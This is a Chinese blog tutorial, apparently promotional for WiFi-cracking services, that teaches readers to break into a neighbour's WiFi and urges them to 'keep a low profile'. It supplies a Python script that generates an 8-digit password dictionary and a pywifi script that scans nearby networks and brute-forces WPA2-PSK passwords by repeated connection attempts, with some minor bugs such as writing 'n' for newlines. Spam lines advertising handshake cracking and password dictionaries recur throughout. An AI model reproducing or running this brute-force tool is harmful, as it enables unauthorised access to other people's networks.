隔壁家的WIFI密码如何破解?Python教你百分之百成功蹭网~

在线wifi跑包 金刚包跑包 cap跑包 hccapx ewsa在线 就来 握手包跑包

各位好 又见面了 我是曹操 今天给大家带来一篇新的教程

希望各位细心学习 低调用网

wifi密码字典包wifi密码字典包

导语

大家对WIFI应该都不陌生吧~WIFI非常实用,因为每个人的手机流量都是有限制的,而且还要花钱。一旦流量用完,手机的网速就会变得非常慢。尤其是在周末放假的时候,想在家休息打游戏,但是家里的WIFI网速卡得要命,简直被喷子喷死啊……

wifi密码字典包

所以,当你打开网络连接时,会弹出十几个WIFI,你会想要蹭网吗?网速卡得要命,你会想要免费蹭网吗?当然会啊!就算不知道密码也没关系,今天我来教你制作一个“WIFI万能钥匙”,可以自动连接隔壁家的WIFI哦~

wifi密码字典包

import itertools as its
if __name__ == '__main__':
    words_num = "1234567890"
    words_letter = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
    r = its.product(words_num, repeat=8)
    dic = open("password-8位数字.txt", "w")
    for i in r:
        dic.write("".join(i))
        dic.write("".join("n"))
    dic.close()

正文

效果图:

以上效果图是使用Python的GUI图形界面开发库Tkinter完成的。

安装环境部分:

本机运行环境:操作系统为Windows 10,Python版本为3.6,开发工具为Pycharm。

需要安装的Python包:pywifi,这是一种用于暴力破解WIFI的模块哈~

原理简介:

首先,我们需要生成一个密码字典(也可以从网上下载字典)。

然后,我们使用密码字典中的每个密码尝试连接WIFI,直到成功为止。

(1)密码字典TXT文件的生成比较简单,本文提供的方法比较基础。如果要进行实际的破解,可以根据一般的密码设置生成更大更全的密码字典。

import pywifi
from pywifi import const  # 引用一些定义
import time
def getwifi(wifilist, wificount):
    wifi = pywifi.PyWiFi()  # 抓取网卡接口
    ifaces = wifi.interfaces()[0]  # 获取网卡
    ifaces.scan()
    time.sleep(8)
    bessis = ifaces.scan_results()
    allwifilist = []
    namelist = []
    ssidlist = []
    for data in bessis:
        if data.ssid not in namelist:  # 去掉重复的WIFI名称
            namelist.append(data.ssid)
            allwifilist.append((data.ssid, data.signal))
    sorted(allwifilist, key=lambda st: st[1], reverse=True)
    time.sleep(1)
    n = 0
    if len(allwifilist) is not 0:
        for item in allwifilist:
            if (item[0] not in ssidlist) & (item[0] not in wifilist):
                n = n + 1
                if n <= wificount:
                    ssidlist.append(item[0])
    print(allwifilist)
    return ssidlist
def getifaces():
    wifi = pywifi.PyWiFi()  # 抓取网卡接口
    ifaces = wifi.interfaces()[0]  # 获取网卡
    ifaces.disconnect()  # 断开无限网卡连接
    return ifaces
def testwifi(ifaces, ssidname, password):
    profile = pywifi.Profile()  # 创建wifi连接文件
    profile.ssid = ssidname  # 定义wifissid
    profile.auth = const.AUTH_ALG_OPEN  # 网卡的开放
    profile.akm.append(const.AKM_TYPE_WPA2PSK)  # wifi加密算法
    profile.cipher = const.CIPHER_TYPE_CCMP  # 加密单元
    profile.key = password  # wifi密码
    ifaces.remove_all_network_profiles()  # 删除其他所有配置文件
    tmp_profile = ifaces.add_network_profile(profile)  # 加载配置文件
    ifaces.connect(tmp_profile)  # 连接wifi
    time.sleep(5)  # 5秒内能否连接上
    if ifaces.status() == const.IFACE_CONNECTED:
        return True
    else:
        return False
def beginwork(wifinamelist):
    ifaces = getifaces()
    path = r"password-8位数字.txt"
    # path = r"password-常用密码.txt"
    files = open(path, 'r')
    while True:
        try:
            password = files.readline()
            password = password.strip('n')
            if not password:
                break
            for wifiname in wifinamelist:
                print("正在尝试:" + wifiname + "," + password)
                if testwifi(ifaces, wifiname, password):
                    print("Wifi账号:" + wifiname + ",Wifi密码:" + password)
                    wifinamelist.remove(wifiname)
                    break
            if not wifinamelist:
                break
        except:
            continue
    files.close()
if __name__ == '__main__':
    wifinames_e = ["", "Vrapile"]  # 排除不破解的wifi名字
    wifinames = getwifi(wifinames_e, 5)
    print(wifinames)
    beginwork(wifinames)

wifi密码字典包

赞(0)